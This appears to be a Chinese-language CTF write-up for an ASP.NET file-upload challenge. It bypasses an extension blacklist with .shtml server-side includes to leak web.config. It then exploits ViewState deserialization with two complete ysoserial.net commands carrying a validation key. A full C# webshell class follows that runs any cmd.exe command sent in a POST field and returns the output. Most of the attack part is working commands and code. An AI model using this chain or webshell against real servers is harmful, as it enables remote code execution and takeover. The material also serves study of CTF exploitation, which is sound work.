打开发现是一道文件上传题,在页面源码中可以发现是aspx写的网站,并在路径/Default.aspx.txt给出了源码,查看源码发现上传黑名单限制:
blacklists = {".aspx", ".config", ".ashx", ".asmx", ".aspq", ".axd", ".cshtm", ".cshtml", ".rem", ".soap", ".vbhtm", ".vbhtml", ".asa", ".asp", ".cer"}
发现没有过滤shtml,在包含命令的文本传给浏览器之前,会对shtml文档进行完全的读取、分析和修改,可以利用shtml中的#include来获取web.config的配置信息。
通过获取道的配置信息,进行viewstate反序列化攻击,可以使用 ysoserial.net 的 ViewState Plugin 产生合法 MAC 与正确的加密内容,在利用invoke Process.Start 执行cmd命令即可
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
但是异常的validationKey通常会导致aspx页面回显500,所以无法得知指令执行的结果。
利用ActivitySurrogateSelectorFromFile的gadget进行,gadget利用Assembly.Load载入.net达成Remote Code Execution,建立无连接的shell后门
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
-c 参数放的就不再是系统指令而是想执行的 ExploitClass.cs,dll可以在本机找到
class E{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}}
其中 Server.ClearError() 和 Response.End() 都是必要且重要的一步,因为异常的 VIEWSTATE 必然会使得 aspx 页面回应 500 或其他非预期的 Server Error,而第一个函式可以协助清除在当前 Runtime 环境下 stack 中所记录的错误,而 End() 可以让 ASP.NET 将当前上下文标记为请求已处理完成並直接将 Response 回应給客戶端,避免程式继续进入其他 Error Handler 处理导致无法取得指令执行的输出结果。